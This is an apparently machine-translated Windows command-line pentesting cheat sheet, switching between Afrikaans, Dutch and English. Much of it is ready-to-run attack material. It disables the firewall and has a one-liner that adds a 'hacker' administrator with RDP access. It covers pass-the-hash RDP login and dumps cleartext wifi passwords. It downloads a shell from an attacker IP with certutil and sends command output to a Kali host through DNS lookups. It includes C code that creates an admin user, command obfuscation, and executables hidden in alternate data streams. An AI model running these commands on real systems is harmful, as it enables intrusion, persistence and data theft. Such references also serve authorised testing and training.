'n Vuurmuur is 'n belangrike komponent van die netwerkbeveiliging wat gebruik word om ongewenste toegang tot 'n stelsel te voorkom. Dit kan gebruik word om inkomende en uitgaande verkeer te beperk deur spesifieke reëls en beleide te implementeer. Dit kan ook gebruik word om die netwerkverkeer te monitor en te blokkeer wat nie voldoen aan die bepaalde beleide nie. Dit is noodsaaklik om 'n vuurmuur te hê om die stelsel teen aanvalle te beskerm en die veiligheid van die netwerk te verseker.

netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles

NetSh Advfirewall set allprofiles state off  #Turn Off
NetSh Advfirewall set allprofiles state on  #Trun On
netsh firewall set opmode disable #Turn Off

#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"

#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed

#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"

#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable

#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable

::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49

Aandele

Shares, ook bekend as gedeelde hulpbronne, is netwerkbronne wat gedeel word tussen verskillende gebruikers op 'n Windows-stelsel. Hierdie bronne kan lêers, drukkers, mappe en selfs toestelle insluit. Die deel van hulpbronne maak dit moontlik vir gebruikers om toegang te verkry tot en te werk met hierdie bronne vanaf verskillende rekenaars in die netwerk.

Tipes aandele

Daar is verskillende tipes aandele wat in Windows gebruik kan word:

  • Lêeraandele: Hierdie tipe aandele maak dit moontlik vir gebruikers om lêers en mappe te deel met ander gebruikers in die netwerk. Dit kan handig wees vir saamwerkingsprojekte of om toegang tot spesifieke lêers te beperk.
  • Drukkeraandele: Hierdie tipe aandele maak dit moontlik vir gebruikers om 'n gemeenskaplike drukker te gebruik wat aan 'n Windows-stelsel gekoppel is. Dit maak dit makliker vir gebruikers om dokumente af te druk sonder om fisieke toegang tot die drukker te hê.
  • Toestelaandele: Hierdie tipe aandele maak dit moontlik vir gebruikers om toegang te verkry tot en te werk met toestelle wat aan 'n Windows-stelsel gekoppel is. Dit kan byvoorbeeld 'n gedeelde skerm, klankkaart of USB-toestel insluit.

Aandele skep en bestuur

Om 'n aandeel te skep, kan die net share-opdrag in die opdragvenster gebruik word. Hier is 'n voorbeeld van hoe om 'n lêeraandeel genaamd "Projek" te skep:

net share Projek=C:\Pad\Na\Projek /GRANT:Everyone,FULL

Hierdie opdrag skep 'n aandeel genaamd "Projek" wat verwys na die pad "C:\Pad\Na\Projek". Dit verleen ook volle toegang aan almal wat toegang tot die aandeel het.

Om aandele te bestuur, kan die "Deelingsbestuurder" in die Windows Verkenner gebruik word. Hier kan jy bestaande aandele wysig, verwyder of toegang tot aandele beperk.

Aandele toets

Om te bepaal watter aandele beskikbaar is op 'n Windows-stelsel, kan die net share-opdrag gebruik word sonder enige argumente. Dit sal 'n lys van alle aktiewe aandele op die stelsel vertoon.

net share

Hierdie opdrag sal 'n lys van aandele, insluitend die aandele se name en paaie, vertoon.

Aandele toegang verkry

Om toegang tot 'n aandeel te verkry, kan jy die aandeel se pad gebruik in die Windows Verkenner of die net use-opdrag in die opdragvenster. Hier is 'n voorbeeld van hoe om 'n lêeraandeel genaamd "Projek" te koppel:

net use Z: \\Stelselnaam\Projek

Hierdie opdrag koppel die aandeel "Projek" aan die Z: -aandrywing op die stelsel. Jy kan dan die aandrywing gebruik om toegang tot die gedeelde lêers en mappe te verkry.

Aandele aflaai

As jy toegang tot 'n aandeel het, kan jy lêers en mappe van die aandeel aflaai deur dit eenvoudig na jou stelsel te kopieer. Jy kan dit doen deur die lêers en mappe te sleep en neer te sit in die Windows Verkenner of deur die copy-opdrag in die opdragvenster te gebruik.

copy \\Stelselnaam\Projek\Lêernaam C:\Pad\Na\Bestemming

Hierdie opdrag kopieer die lêer genaamd "Lêernaam" van die aandeel "Projek" na die pad "C:\Pad\Na\Bestemming" op jou stelsel.

Aandele verwyder

Om 'n aandeel te verwyder, kan die net share-opdrag gebruik word met die /DELETE-opsie. Hier is 'n voorbeeld van hoe om die aandeel "Projek" te verwyder:

net share Projek /DELETE

Hierdie opdrag verwyder die aandeel genaamd "Projek" van die stelsel. Wees versigtig wanneer jy aandele verwyder, want dit kan lei tot verlies van toegang tot gedeelde bronne.

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

Wifi

Introduction

Wifi is a wireless technology that allows devices to connect to the internet or communicate with each other without the need for physical cables. It is commonly used in homes, offices, and public places to provide internet access to multiple devices simultaneously.

How Wifi Works

Wifi works by using radio waves to transmit data between devices. A wireless router acts as the central hub, transmitting and receiving data to and from connected devices. The router is connected to an internet service provider (ISP), which provides the internet connection.

When a device wants to connect to a wifi network, it sends a request to the router. The router then authenticates the device and assigns it an IP address. Once connected, the device can send and receive data over the wifi network.

Wifi Security

Wifi networks can be secured to prevent unauthorized access and protect the data transmitted over the network. The most common security protocols used in wifi networks are:

  • WEP (Wired Equivalent Privacy): This is the oldest and least secure protocol. It uses a shared key to encrypt data, but the encryption can be easily cracked.

  • WPA (Wifi Protected Access): This is a more secure protocol that uses a pre-shared key (PSK) or a passphrase to encrypt data. WPA2 is the most commonly used version of WPA.

  • WPA3: This is the latest and most secure protocol. It provides stronger encryption and better protection against attacks.

To secure a wifi network, it is recommended to use WPA3 or WPA2 with a strong password. Additionally, disabling the broadcasting of the network's SSID (Service Set Identifier) can make it harder for unauthorized users to discover the network.

Wifi Hacking

Wifi networks can be vulnerable to hacking if they are not properly secured. Some common wifi hacking techniques include:

  • Brute Force Attacks: These attacks involve trying all possible combinations of passwords until the correct one is found.

  • Dictionary Attacks: These attacks use a list of commonly used passwords to try to gain access to a wifi network.

  • WPS (Wifi Protected Setup) Attacks: WPS is a feature that allows users to easily connect to a wifi network by pressing a button or entering a PIN. However, it can be exploited by hackers to gain unauthorized access.

  • Evil Twin Attacks: In this type of attack, a hacker sets up a fake wifi network that looks identical to a legitimate one. When users connect to the fake network, the hacker can intercept their data.

To protect against wifi hacking, it is important to use strong passwords, keep wifi firmware up to date, and disable unnecessary features like WPS. Regularly monitoring the wifi network for any suspicious activity can also help detect and prevent hacking attempts.

Conclusion

Wifi is a convenient and widely used technology for wireless communication and internet access. However, it is important to understand the security risks associated with wifi networks and take appropriate measures to protect against hacking. By implementing strong security protocols and regularly monitoring the network, users can enjoy the benefits of wifi while keeping their data safe.

netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass

SNMP

SNMP (Simple Network Management Protocol) is 'n protokol wat gebruik word vir die bestuur en monitering van netwerktoestelle. Dit maak gebruik van 'n klient-bedienersmodel, waar die SNMP-bestuurder (klient) versoeke stuur na SNMP-agente (bedieners) om inligting oor die toestand van die toestelle te bekom. SNMP-agente kan verskillende tipes inligting verskaf, soos stelselstatus, netwerkverkeer en toestand van hardeware. Hierdie inligting kan gebruik word om netwerktoestelle te bestuur en probleme te identifiseer.

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s

Netwerkinterfaces

Netwerkinterfaces verwijzen naar de fysieke of virtuele apparaten die worden gebruikt om verbinding te maken met een netwerk. Deze interfaces kunnen worden geconfigureerd met behulp van opdrachten in de opdrachtprompt. Hier zijn enkele nuttige opdrachten voor het beheren van netwerkinterfaces:

  • ipconfig: Geeft informatie weer over de IP-configuratie van alle netwerkinterfaces op het systeem.
  • netsh interface show interface: Toont een lijst met alle beschikbare netwerkinterfaces en hun status.
  • netsh interface set interface name="interface_name" admin=enable/disable: Schakelt een specifieke netwerkinterface in of uit.
  • netsh interface ipv4 show addresses: Geeft de IPv4-adressen weer die zijn toegewezen aan elke netwerkinterface.
  • netsh interface ipv6 show addresses: Geeft de IPv6-adressen weer die zijn toegewezen aan elke netwerkinterface.
  • netsh interface ipv4 add address name="interface_name" address="ip_address" mask="subnet_mask" gateway="default_gateway": Voegt een IPv4-adres toe aan een specifieke netwerkinterface.
  • netsh interface ipv6 add address name="interface_name" address="ipv6_address": Voegt een IPv6-adres toe aan een specifieke netwerkinterface.

Het beheren van netwerkinterfaces is essentieel voor het configureren en oplossen van netwerkproblemen tijdens het pentesten.

ipconfig /all

ARP-tabel

Die ARP-tabel (Address Resolution Protocol) is 'n tabel wat gebruik word deur 'n rekenaarstelsel om die verband tussen IP-adresse en MAC-adresse te stoor. Dit dien as 'n naslaan vir die stelsel om te bepaal watter MAC-adres gekoppel is aan 'n spesifieke IP-adres.

Die ARP-tabel kan gebruik word deur 'n aanvaller om netwerkverkeer te onderskep of om 'n man-in-die-middel-aanval uit te voer. Dit kan ook gebruik word om die teenwoordigheid van ander toestelle in die netwerk te bepaal.

Om die ARP-tabel in Windows te sien, kan die volgende opdrag in die opdragvenster gebruik word:

arp -a

Hierdie opdrag sal 'n lys van IP-adresse en bybehorende MAC-adresse toon wat in die ARP-tabel gestoor is.

arp -A

Aflaai

Bitsadmin.exe

bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1

CertReq.exe is a command-line tool used for certificate enrollment and management in Windows operating systems. It allows users to create and submit certificate requests, retrieve issued certificates, and perform various certificate-related operations.

CertReq.exe is commonly used by pentesters and system administrators to automate the process of requesting and managing certificates. It supports various certificate formats, including PKCS #10, PKCS #7, and X.509.

To use CertReq.exe, you can run it from the command prompt with the appropriate parameters. Here are some common commands:

  • certreq -new: Creates a new certificate request.
  • certreq -submit: Submits a certificate request to a certification authority (CA).
  • certreq -retrieve: Retrieves an issued certificate from a CA.
  • certreq -accept: Accepts and installs a retrieved certificate.
  • certreq -sign: Signs a certificate request with a specified signing certificate.
  • certreq -deny: Denies a pending certificate request.
  • certreq -delete: Deletes a certificate request from the CA database.

These are just a few examples of the commands you can use with CertReq.exe. It is a powerful tool that can be used for various certificate-related tasks in Windows environments.

CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt

Certutil.exe is a command-line utility in Windows that is used to manage certificates. It can be used to perform various operations such as installing, exporting, and verifying certificates. Certutil.exe can also be used to decode and encode certificates, as well as to retrieve information about certificates stored in the Windows certificate store.

certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe

Vind baie meer deur te soek vir Aflaai in https://lolbas-project.github.io

Verskeidenheid

cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file

#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden

#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision

#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win

#exe2bat to transform exe file in bat file

#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)

# Get error messages from code
net helpmsg 32 #32 is the code in that case

Om Char Blacklisting te omseil

Char blacklisting is 'n tegniek wat gebruik word om sekere karakters te blokkeer of te verbied in invoer. Hier is 'n paar maniere om char blacklisting te omseil:

  1. Dubbele karakters: Voeg 'n dubbele karakter by voor 'n verbode karakter. Byvoorbeeld, as die karakter " verbode is, kan jy "\"" gebruik om dit te omseil.

  2. Hexadesimale waardes: Gebruik die hexadesimale waarde van 'n verbode karakter. Byvoorbeeld, as die karakter " verbode is, kan jy "\x22" gebruik om dit te omseil.

  3. Oktale waardes: Gebruik die oktale waarde van 'n verbode karakter. Byvoorbeeld, as die karakter " verbode is, kan jy "\042" gebruik om dit te omseil.

  4. Unicode-kodes: Gebruik die Unicode-kode van 'n verbode karakter. Byvoorbeeld, as die karakter " verbode is, kan jy "\u0022" gebruik om dit te omseil.

Dit is belangrik om te onthou dat die omseiling van char blacklisting afhang van die spesifieke implementering van die toepassing. Dit kan dus verskil van een toepassing tot 'n ander.

echo %HOMEPATH:~6,-11%   #\
who^ami   #whoami

DOSfuscation

Genereer 'n geobfuskeerde CMD-lyn

git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding

Luisteradres ACL's

Jy kan luister op http://+:80/Temporary_Listen_Addresses/ sonder om 'n administrateur te wees.

netsh http show urlacl

Handleiding DNS-skulp

Aanvaller (Kali) moet een van hierdie 2 opsies gebruik:

  1. Nslookup: Hierdie opdrag kan gebruik word om DNS-navrae uit te voer. Dit kan gebruik word om DNS-inligting te verkry, soos IP-adresse van 'n domeinnaam.

    nslookup <domain>
    
  2. Dig: Hierdie opdrag is 'n kragtige DNS-hulpmiddel wat gebruik kan word om DNS-inligting te verkry. Dit kan gebruik word om DNS-versekering, DNS-antwoordtyd en ander DNS-inligting te ondersoek.

    dig <domain>
    

Doelwit (Windows) moet 'n DNS-diens loop en toeganklik wees vanaf die aanvaller se Kali-masjien.

sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive

Slagoffer

for /f tokens tegniek: Dit stel ons in staat om opdragte uit te voer, die eerste X woorde van elke lyn te kry en dit deur DNS na ons bediener te stuur.

for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one

Jy kan ook die uitset omlei, en dit dan lees.

whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>

Oproep vanaf C-kode

To call CMD from C code, you can use the system() function. This function allows you to execute a command in the command prompt.

#include <stdlib.h>

int main() {
    system("command");
    return 0;
}

Replace "command" with the desired command you want to execute. For example, if you want to execute the ipconfig command, you would write:

system("ipconfig");

Remember to include the <stdlib.h> header file at the beginning of your code to use the system() function.

#include <stdlib.h>     /* system, NULL, EXIT_FAILURE */

// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe

int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}

Alternatiewe Datastrome Spiekbrief (ADS/Alternatiewe Datastroom)

Voorbeelde geneem vanaf https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f. Daar is baie meer daar!

## Selected Examples of ADS Operations ##

### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>

### Extracting Content from ADS ###
# Extract an executable stored in an ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe

### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!